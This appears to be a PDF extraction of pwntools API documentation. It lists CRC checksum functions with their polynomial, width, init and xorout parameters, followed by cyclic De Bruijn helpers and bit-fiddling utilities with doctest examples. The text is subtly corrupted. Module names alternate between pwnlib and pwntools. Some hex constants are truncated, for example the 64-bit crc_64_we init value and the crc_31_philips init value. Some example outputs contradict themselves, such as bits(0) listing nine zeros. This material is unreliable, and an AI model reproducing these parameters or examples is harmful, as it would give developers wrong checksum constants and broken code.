This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x1021`

- width = 16
- init = 0xffff
- refin = False
- refout = False
- xorout = 0x0

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-ccitt-false>

Parameters `data` (*bytes, str*) – The data to checksum.

Example

```
>>> print(crc_16_ccitt_false('123456789'))
10673
```

`pwnlib.util.crc.crc_16_cdma2000` (*data*) → int
Calculates the `crc_16_cdma2000` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0xc867
- width = 16
- init = 0xffff
- refin = False
- refout = False
- xorout = 0x0

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-cdma2000>

Parameters `data` (*bytes, str*) – The data to checksum.

Example

```
>>> print(crc_16_cdma2000('123456789'))
19462
```

`pwnlib.util.crc.crc_16_dds_110` (*data*) → int
Calculates the `crc_16_dds_110` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x8005
- width = 16
- init = 0x800d
- refin = False
- refout = False
- xorout = 0x0

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-dds-110>

Parameters `data` (*bytes, str*) – The data to checksum.

Example

```
>>> print (crc_16_dds_110 ('123456789'))
40655
```

`pwnlib.util.crc.crc_16_dect_r(data) → int`

Calculates the `crc_16_dect_r` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x589`
- `width = 16`
- `init = 0x0`
- `refin = False`
- `refout = False`
- `xorout = 0x1`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-dect-r>

Parameters `data` (*bytes*, *str*) – The data to checksum.

Example

```
>>> print (crc_16_dect_r ('123456789'))
126
```

`pwnlib.util.crc.crc_16_dect_x(data) → int`

Calculates the `crc_16_dect_x` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x589`
- `width = 16`
- `init = 0x0`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-dect-x>

Parameters `data` (*bytes*, *str*) – The data to checksum.

Example

```
>>> print (crc_16_dect_x ('123456789'))
127
```

`pwnlib.util.crc.crc_16_dnp(data) → int`

Calculates the `crc_16_dnp` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x3d65`

- width = 16
- init = 0x0
- refin = True
- refout = True
- xorout = 0xffff

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-dnp>

Parameters `data` (*bytes*, *str*) – The data to checksum.

Example

```
>>> print (crc_16_dnp ('123456789'))
60034
```

`pwnlib.util.crc.crc_16_en_13757` (*data*) → int
Calculates the `crc_16_en_13757` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x3d65
- width = 16
- init = 0x0
- refin = False
- refout = False
- xorout = 0xffff

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-en-13757>

Parameters `data` (*bytes*, *str*) – The data to checksum.

Example

```
>>> print (crc_16_en_13757 ('123456789'))
49847
```

`pwnlib.util.crc.crc_16_genibus` (*data*) → int
Calculates the `crc_16_genibus` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x1021
- width = 16
- init = 0xffff
- refin = False
- refout = False
- xorout = 0xffff

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-genibus>

Parameters `data` (*bytes*, *str*) – The data to checksum.

Example

```
>>> print (crc_16_genibus ('123456789'))
54862
```

`pwnlib.util.crc.crc_16_maxim(data) → int`

Calculates the `crc_16_maxim` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x8005`
- `width = 16`
- `init = 0x0`
- `refin = True`
- `refout = True`
- `xorout = 0xffff`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-maxim>

Parameters `data` (*bytes*, *str*) – The data to checksum.

Example

```
>>> print (crc_16_maxim ('123456789'))
17602
```

`pwnlib.util.crc.crc_16_mcrf4xx(data) → int`

Calculates the `crc_16_mcrf4xx` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x1021`
- `width = 16`
- `init = 0xffff`
- `refin = True`
- `refout = True`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-mcrf4xx>

Parameters `data` (*bytes*, *str*) – The data to checksum.

Example

```
>>> print (crc_16_mcrf4xx ('123456789'))
28561
```

`pwnlib.util.crc.crc_16_riello(data) → int`

Calculates the `crc_16_riello` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x1021`

- width = 16
- init = 0xb2aa
- refin = True
- refout = True
- xorout = 0x0

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-riello>

Parameters `data` (*bytes*, *str*) – The data to checksum.

Example

```
>>> print(crc_16_riello('123456789'))
25552
```

`pwnlib.util.crc.crc_16_t10_dif(data) → int`

Calculates the `crc_16_t10_dif` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x8bb7
- width = 16
- init = 0x0
- refin = False
- refout = False
- xorout = 0x0

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-t10-dif>

Parameters `data` (*bytes*, *str*) – The data to checksum.

Example

```
>>> print(crc_16_t10_dif('123456789'))
53467
```

`pwnlib.util.crc.crc_16_teledisk(data) → int`

Calculates the `crc_16_teledisk` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0xa097
- width = 16
- init = 0x0
- refin = False
- refout = False
- xorout = 0x0

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-teledisk>

Parameters `data` (*bytes*, *str*) – The data to checksum.

Example

```
>>> print (crc_16_teledisk ('123456789'))
4019
```

`pwnlib.util.crc.crc_16_tms37157 (data) → int`

Calculates the `crc_16_tms37157` checksum.

This is simply the `generic_crc ()` with these frozen arguments:

- `polynom = 0x1021`
- `width = 16`
- `init = 0x89ec`
- `refin = True`
- `refout = True`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-tms37157>

Parameters `data` (*bytes*, *str*) – The data to checksum.

Example

```
>>> print (crc_16_tms37157 ('123456789'))
9905
```

`pwnlib.util.crc.crc_16_usb (data) → int`

Calculates the `crc_16_usb` checksum.

This is simply the `generic_crc ()` with these frozen arguments:

- `polynom = 0x8005`
- `width = 16`
- `init = 0xffff`
- `refin = True`
- `refout = True`
- `xorout = 0xffff`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-usb>

Parameters `data` (*bytes*, *str*) – The data to checksum.

Example

```
>>> print (crc_16_usb ('123456789'))
46280
```

`pwnlib.util.crc.crc_24 (data) → int`

Calculates the `crc_24` checksum.

This is simply the `generic_crc ()` with these frozen arguments:

- `polynom = 0x864cfb`

- width = 24
- init = 0xb704ce
- refin = False
- refout = False
- xorout = 0x0

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.24>

Parameters `data` (*bytes*, *str*) – The data to checksum.

Example

```
>>> print(crc_24('123456789'))
2215682
```

`pwnlib.util.crc.crc_24_flexray_a(data) → int`
Calculates the `crc_24_flexray_a` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x5d6dcb
- width = 24
- init = 0xfedcba
- refin = False
- refout = False
- xorout = 0x0

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-24-flexray-a>

Parameters `data` (*bytes*, *str*) – The data to checksum.

Example

```
>>> print(crc_24_flexray_a('123456789'))
7961021
```

`pwnlib.util.crc.crc_24_flexray_b(data) → int`
Calculates the `crc_24_flexray_b` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x5d6dcb
- width = 24
- init = 0xabcdef
- refin = False
- refout = False
- xorout = 0x0

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-24-flexray-b>

Parameters `data` (*bytes*, *str*) – The data to checksum.

Example

```
>>> print (crc_24_flexray_b('123456789'))
2040760
```

`pwnlib.util.crc.crc_31_philips(data) → int`

Calculates the `crc_31_philips` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x4c11db7`
- `width = 31`
- `init = 0x7ffffff`
- `refin = False`
- `refout = False`
- `xorout = 0x7ffffff`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.31>

Parameters `data` (*bytes, str*) – The data to checksum.

Example

```
>>> print (crc_31_philips('123456789'))
216654956
```

`pwnlib.util.crc.crc_32(data) → int`

Calculates the `crc_32` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x4c11db7`
- `width = 32`
- `init = 0xffffffff`
- `refin = True`
- `refout = True`
- `xorout = 0xffffffff`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.32>

Parameters `data` (*bytes, str*) – The data to checksum.

Example

```
>>> print (crc_32('123456789'))
3421780262
```

`pwnlib.util.crc.crc_32_bzip2(data) → int`

Calculates the `crc_32_bzip2` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x4c11db7`

- width = 32
- init = 0xffffffff
- refin = False
- refout = False
- xorout = 0xffffffff

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-32-bzip2>

Parameters `data` (*bytes*, *str*) – The data to checksum.

Example

```
>>> print(crc_32_bzip2('123456789'))
4236843288
```

`pwnlib.util.crc.crc_32_mpeg_2(data) → int`
Calculates the `crc_32_mpeg_2` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x4c11db7
- width = 32
- init = 0xffffffff
- refin = False
- refout = False
- xorout = 0x0

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-32-mpeg-2>

Parameters `data` (*bytes*, *str*) – The data to checksum.

Example

```
>>> print(crc_32_mpeg_2('123456789'))
58124007
```

`pwnlib.util.crc.crc_32_posix(data) → int`
Calculates the `crc_32_posix` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x4c11db7
- width = 32
- init = 0x0
- refin = False
- refout = False
- xorout = 0xffffffff

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-32-posix>

Parameters `data` (*bytes*, *str*) – The data to checksum.

Example

```
>>> print(crc_32_posix('123456789'))
1985902208
```

`pwnlib.util.crc.crc_32c(data) → int`

Calculates the `crc_32c` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x1edc6f41`
- `width = 32`
- `init = 0xffffffff`
- `refin = True`
- `refout = True`
- `xorout = 0xffffffff`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-32c>

Parameters `data` (*bytes*, *str*) – The data to checksum.

Example

```
>>> print(crc_32c('123456789'))
3808858755
```

`pwnlib.util.crc.crc_32d(data) → int`

Calculates the `crc_32d` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0xa833982b`
- `width = 32`
- `init = 0xffffffff`
- `refin = True`
- `refout = True`
- `xorout = 0xffffffff`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-32d>

Parameters `data` (*bytes*, *str*) – The data to checksum.

Example

```
>>> print(crc_32d('123456789'))
2268157302
```

`pwnlib.util.crc.crc_32q(data) → int`

Calculates the `crc_32q` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x814141ab`

- width = 32
- init = 0x0
- refin = False
- refout = False
- xorout = 0x0

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-32q>

Parameters `data` (*bytes*, *str*) – The data to checksum.

Example

```
>>> print (crc_32q('123456789'))
806403967
```

`pwnlib.util.crc.crc_3_rohc` (*data*) → int
Calculates the `crc_3_rohc` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x3
- width = 3
- init = 0x7
- refin = True
- refout = True
- xorout = 0x0

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.3>

Parameters `data` (*bytes*, *str*) – The data to checksum.

Example

```
>>> print (crc_3_rohc('123456789'))
6
```

`pwnlib.util.crc.crc_40_gsm` (*data*) → int
Calculates the `crc_40_gsm` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x4820009
- width = 40
- init = 0x0
- refin = False
- refout = False
- xorout = 0xffffffff

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.40>

Parameters `data` (*bytes*, *str*) – The data to checksum.

Example

```
>>> print (crc_40_gsm('123456789'))
910907393606
```

`pwnlib.util.crc.crc_4_itu(data) → int`

Calculates the `crc_4_itu` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x3`
- `width = 4`
- `init = 0x0`
- `refin = True`
- `refout = True`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.4>

Parameters `data` (*bytes*, *str*) – The data to checksum.

Example

```
>>> print (crc_4_itu('123456789'))
7
```

`pwnlib.util.crc.crc_5_epc(data) → int`

Calculates the `crc_5_epc` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x9`
- `width = 5`
- `init = 0x9`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.5>

Parameters `data` (*bytes*, *str*) – The data to checksum.

Example

```
>>> print (crc_5_epc('123456789'))
0
```

`pwnlib.util.crc.crc_5_itu(data) → int`

Calculates the `crc_5_itu` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x15`

- width = 5
- init = 0x0
- refin = True
- refout = True
- xorout = 0x0

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-5-itu>

Parameters `data` (*bytes*, *str*) – The data to checksum.

Example

```
>>> print (crc_5_itu ('123456789'))
7
```

`pwnlib.util.crc.crc_5_usb` (*data*) → int
Calculates the `crc_5_usb` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x5
- width = 5
- init = 0x1f
- refin = True
- refout = True
- xorout = 0x1f

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-5-usb>

Parameters `data` (*bytes*, *str*) – The data to checksum.

Example

```
>>> print (crc_5_usb ('123456789'))
25
```

`pwnlib.util.crc.crc_64` (*data*) → int
Calculates the `crc_64` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x42f0e1eba9ea3693
- width = 64
- init = 0x0
- refin = False
- refout = False
- xorout = 0x0

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.64>

Parameters `data` (*bytes*, *str*) – The data to checksum.

Example

```
>>> print (crc_64 ('123456789'))
7800480153909949255
```

`pwnlib.util.crc.crc_64_we (data) → int`

Calculates the `crc_64_we` checksum.

This is simply the `generic_crc ()` with these frozen arguments:

- `polynom = 0x42f0e1eba9ea3693`
- `width = 64`
- `init = 0xffffffffffffff`
- `refin = False`
- `refout = False`
- `xorout = 0xffffffffffffff`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-64-we>

Parameters `data` (*bytes*, *str*) – The data to checksum.

Example

```
>>> print (crc_64_we ('123456789'))
7128171145767219210
```

`pwnlib.util.crc.crc_64_xz (data) → int`

Calculates the `crc_64_xz` checksum.

This is simply the `generic_crc ()` with these frozen arguments:

- `polynom = 0x42f0e1eba9ea3693`
- `width = 64`
- `init = 0xffffffffffffff`
- `refin = True`
- `refout = True`
- `xorout = 0xffffffffffffff`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-64-xz>

Parameters `data` (*bytes*, *str*) – The data to checksum.

Example

```
>>> print (crc_64_xz ('123456789'))
11051210869376104954
```

`pwnlib.util.crc.crc_6_cdma2000_a (data) → int`

Calculates the `crc_6_cdma2000_a` checksum.

This is simply the `generic_crc ()` with these frozen arguments:

- `polynom = 0x27`

- width = 6
- init = 0x3f
- refin = False
- refout = False
- xorout = 0x0

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.6>

Parameters `data` (*bytes*, *str*) – The data to checksum.

Example

```
>>> print (crc_6_cdma2000_a ('123456789'))
13
```

`pwntools.util.crc.crc_6_cdma2000_b(data) → int`
Calculates the `crc_6_cdma2000_b` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x7
- width = 6
- init = 0x3f
- refin = False
- refout = False
- xorout = 0x0

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-6-cdma2000-b>

Parameters `data` (*bytes*, *str*) – The data to checksum.

Example

```
>>> print (crc_6_cdma2000_b ('123456789'))
59
```

`pwntools.util.crc.crc_6_darc(data) → int`
Calculates the `crc_6_darc` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x19
- width = 6
- init = 0x0
- refin = True
- refout = True
- xorout = 0x0

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-6-darc>

Parameters `data` (*bytes*, *str*) – The data to checksum.

Example

```
>>> print (crc_6_darc ('123456789'))
38
```

`pwnlib.util.crc.crc_6_itu(data) → int`

Calculates the `crc_6_itu` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x3`
- `width = 6`
- `init = 0x0`
- `refin = True`
- `refout = True`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-6-itu>

Parameters `data` (*bytes*, *str*) – The data to checksum.

Example

```
>>> print (crc_6_itu ('123456789'))
6
```

`pwnlib.util.crc.crc_7(data) → int`

Calculates the `crc_7` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x9`
- `width = 7`
- `init = 0x0`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.7>

Parameters `data` (*bytes*, *str*) – The data to checksum.

Example

```
>>> print (crc_7 ('123456789'))
117
```

`pwnlib.util.crc.crc_7_rohc(data) → int`

Calculates the `crc_7_rohc` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x4f`

- width = 7
- init = 0x7f
- refin = True
- refout = True
- xorout = 0x0

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-7-rohc>

Parameters `data` (*bytes*, *str*) – The data to checksum.

Example

```
>>> print (crc_7_rohc ('123456789'))
83
```

`pwntools.util.crc.crc_8(data) → int`
Calculates the `crc_8` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x7
- width = 8
- init = 0x0
- refin = False
- refout = False
- xorout = 0x0

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.8>

Parameters `data` (*bytes*, *str*) – The data to checksum.

Example

```
>>> print (crc_8 ('123456789'))
244
```

`pwntools.util.crc.crc_82_darc(data) → int`
Calculates the `crc_82_darc` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x308c0111011401440411
- width = 82
- init = 0x0
- refin = True
- refout = True
- xorout = 0x0

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.82>

Parameters `data` (*bytes*, *str*) – The data to checksum.

Example

```
>>> print (crc_82_darc ('123456789'))
749237524598872659187218
```

`pwnlib.util.crc.crc_8_cdma2000 (data) → int`

Calculates the `crc_8_cdma2000` checksum.

This is simply the `generic_crc ()` with these frozen arguments:

- `polynom = 0x9b`
- `width = 8`
- `init = 0xff`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-cdma2000>

Parameters `data` (*bytes*, *str*) – The data to checksum.

Example

```
>>> print (crc_8_cdma2000 ('123456789'))
218
```

`pwnlib.util.crc.crc_8_darc (data) → int`

Calculates the `crc_8_darc` checksum.

This is simply the `generic_crc ()` with these frozen arguments:

- `polynom = 0x39`
- `width = 8`
- `init = 0x0`
- `refin = True`
- `refout = True`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-darc>

Parameters `data` (*bytes*, *str*) – The data to checksum.

Example

```
>>> print (crc_8_darc ('123456789'))
21
```

`pwnlib.util.crc.crc_8_dvb_s2 (data) → int`

Calculates the `crc_8_dvb_s2` checksum.

This is simply the `generic_crc ()` with these frozen arguments:

- `polynom = 0xd5`

- width = 8
- init = 0x0
- refin = False
- refout = False
- xorout = 0x0

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-dvb-s2>

Parameters `data` (*bytes*, *str*) – The data to checksum.

Example

```
>>> print (crc_8_dvb_s2 ('123456789'))
188
```

`pwnlib.util.crc.crc_8_ebu` (*data*) → int
Calculates the `crc_8_ebu` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x1d
- width = 8
- init = 0xff
- refin = True
- refout = True
- xorout = 0x0

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-ebu>

Parameters `data` (*bytes*, *str*) – The data to checksum.

Example

```
>>> print (crc_8_ebu ('123456789'))
151
```

`pwnlib.util.crc.crc_8_i_code` (*data*) → int
Calculates the `crc_8_i_code` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x1d
- width = 8
- init = 0xfd
- refin = False
- refout = False
- xorout = 0x0

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-i-code>

Parameters `data` (*bytes*, *str*) – The data to checksum.

Example

```
>>> print (crc_8_i_code('123456789'))
126
```

`pwnlib.util.crc.crc_8_itu(data) → int`

Calculates the `crc_8_itu` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x7`
- `width = 8`
- `init = 0x0`
- `refin = False`
- `refout = False`
- `xorout = 0x55`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-itu>

Parameters `data` (*bytes*, *str*) – The data to checksum.

Example

```
>>> print (crc_8_itu('123456789'))
161
```

`pwnlib.util.crc.crc_8_maxim(data) → int`

Calculates the `crc_8_maxim` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x31`
- `width = 8`
- `init = 0x0`
- `refin = True`
- `refout = True`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-maxim>

Parameters `data` (*bytes*, *str*) – The data to checksum.

Example

```
>>> print (crc_8_maxim('123456789'))
161
```

`pwnlib.util.crc.crc_8_rohc(data) → int`

Calculates the `crc_8_rohc` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x7`

- width = 8
- init = 0xff
- refin = True
- refout = True
- xorout = 0x0

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-rohc>

Parameters `data` (*bytes*, *str*) – The data to checksum.

Example

```
>>> print (crc_8_rohc ('123456789'))
208
```

`pwnlib.util.crc.crc_8_wcdma` (*data*) → int
Calculates the `crc_8_wcdma` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x9b
- width = 8
- init = 0x0
- refin = True
- refout = True
- xorout = 0x0

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-wcdma>

Parameters `data` (*bytes*, *str*) – The data to checksum.

Example

```
>>> print (crc_8_wcdma ('123456789'))
37
```

`pwnlib.util.crc.crc_a` (*data*) → int
Calculates the `crc_a` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x1021
- width = 16
- init = 0xc6c6
- refin = True
- refout = True
- xorout = 0x0

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-a>

Parameters `data` (*bytes*, *str*) – The data to checksum.

Example

```
>>> print (crc_a ('123456789'))
48901
```

`pwnlib.util.crc.jamcrc (data) → int`

Calculates the jamcrc checksum.

This is simply the `generic_crc ()` with these frozen arguments:

- `polynom = 0x4c11db7`
- `width = 32`
- `init = 0xffffffff`
- `refin = True`
- `refout = True`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.jamcrc>

Parameters `data (bytes, str)` – The data to checksum.

Example

```
>>> print (jamcrc ('123456789'))
873187033
```

`pwnlib.util.crc.kermit (data) → int`

Calculates the kermit checksum.

This is simply the `generic_crc ()` with these frozen arguments:

- `polynom = 0x1021`
- `width = 16`
- `init = 0x0`
- `refin = True`
- `refout = True`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.kermit>

Parameters `data (bytes, str)` – The data to checksum.

Example

```
>>> print (kermit ('123456789'))
8585
```

`pwnlib.util.crc.modbus (data) → int`

Calculates the modbus checksum.

This is simply the `generic_crc ()` with these frozen arguments:

- `polynom = 0x8005`

- width = 16
- init = 0xffff
- refin = True
- refout = True
- xorout = 0x0

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.modbus>

Parameters `data` (*bytes*, *str*) – The data to checksum.

Example

```
>>> print(modbus('123456789'))
19255
```

`pwnlib.util.crc.x_25(data)` → int
Calculates the `x_25` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x1021
- width = 16
- init = 0xffff
- refin = True
- refout = True
- xorout = 0xffff

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.x-25>

Parameters `data` (*bytes*, *str*) – The data to checksum.

Example

```
>>> print(x_25('123456789'))
36974
```

`pwnlib.util.crc.xfer(data)` → int
Calculates the `xfer` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0xaf
- width = 32
- init = 0x0
- refin = False
- refout = False
- xorout = 0x0

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.xfer>

Parameters `data` (*bytes*, *str*) – The data to checksum.

Example

```
>>> print(xfer('123456789'))
3171672888
```

`pwnlib.util.crc.xmodem(data) → int`

Calculates the xmodem checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x1021`
- `width = 16`
- `init = 0x0`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.xmodem>

Parameters `data` (*bytes*, *str*) – The data to checksum.

Example

```
>>> print(xmodem('123456789'))
12739
```

2.24 pwnlib.util.cyclic — Generation of unique sequences

`pwnlib.util.cyclic.cyclic(length=None, alphabet=string.ascii_lowercase, n=4) → list/str`

A simple wrapper over `de_bruijn()`. This function returns a at most `length` elements.

If the given alphabet is a string, a string is returned from this function. Otherwise a list is returned.

Parameters

- **length** – The desired length of the list or `None` if the entire sequence is desired.
- **alphabet** – List or string to generate the sequence over.
- **n** (*int*) – The length of subsequences that should be unique.

Example

```
>>> cyclic(alphabet="ABC", n=3)
'AAABAACABBABCACBACCBBBCBCCC'
>>> cyclic(20)
'aaaabaaacaaadaaaeaaa'
>>> alphabet, n = range(30), 3
>>> len(alphabet)**n, len(cyclic(alphabet=alphabet, n=n))
(27000, 27000)
```

`pwnlib.util.cyclic.cyclic_find(subseq, alphabet=string.ascii_lowercase, n=None) → int`

Calculates the position of a substring into a De Bruijn sequence.

Parameters

- **subseq**(*int*, *bytes*, *str*) – The subsequence to look for. This can either be a bytes, a string, a list or an integer. If an integer is provided it will be packed as a little endian integer.
- **alphabet**(*bytes*, *str*) – List or string to generate the sequence over.
- **n**(*int*) – The length of subsequences that should be unique.

Examples

```
>>> cyclic_find(cyclic(1000) [514:518])
514
>>> cyclic_find(0x61616162)
4
```

`pwnlib.util.cyclic.de_bruijn` (*alphabet=string.ascii_lowercase, n=4*) → generator

Generator for a sequence of unique substrings of length *n*. This is implemented using a De Bruijn Sequence over the given *alphabet*.

The returned generator will yield up to `len(alphabet) ** n` elements.

Parameters

- **alphabet** – List or string to generate the sequence over.
- **n**(*int*) – The length of subsequences that should be unique.

2.25 pwnlib.util.fiddling — Utilities bit fiddling

`pwnlib.util.fiddling.b64d`(*s*) → bytes

Base64 decodes a bytes or string

Example

```
>>> b64d('dGVzdA==')
b'test'
```

`pwnlib.util.fiddling.b64e`(*s*) → str

Base64 encodes a bytes or string

Example

```
>>> b64e("test")
'dGVzdA=='
```

`pwnlib.util.fiddling.bits`(*s, endian='big', zero=0, one=1*) → list

Converts the argument to a list of bits.

Parameters

- **s**(*bytes*, *str*, *int*) – A string or number to be converted into bits.
- **endian**(*str*) – The binary endian, default 'big'.

- **zero** – The representing a 0-bit.
- **one** – The representing a 1-bit.

Returns A list consisting of the values specified in *zero* and *one*.

Examples

```
>>> bits(511, zero="+", one="-")
['+', '+', '+', '+', '+', '+', '+', '+', '-', '-', '-', '-', '-', '-', '-', '-', '-']
>>> sum(bits("test"))
17
>>> bits(0)
[0, 0, 0, 0, 0, 0, 0, 0, 0]
```

pwnlib.util.fiddling.**bits_str**(*s*, *endian='big'*, *zero='0'*, *one='1'*) → str
A wrapper around *bits()*, which converts the output into a string.

Examples

```
>>> bits_str(511)
'0000000111111111'
>>> bits_str("bits_str", endian="little")
'010001101001011000101110110011101111010110011100010111001001110'
```

pwnlib.util.fiddling.**bitswap**(*s*) → bytes
Reverses the bits in every byte of a given string.

Example

```
>>> bitswap("1234")
b'\x8cL\xcc,'
```

pwnlib.util.fiddling.**bitswap_int**(*n*) → int
Reverses the bits of a numbers and returns the result as a new number.

Parameters

- **n** (*int*) – The number to swap.
- **width** (*int*) – The width of the integer

Examples

```
>>> hex(bitswap_int(0x1234, 8))
'0x2c'
>>> hex(bitswap_int(0x1234, 16))
'0x2c48'
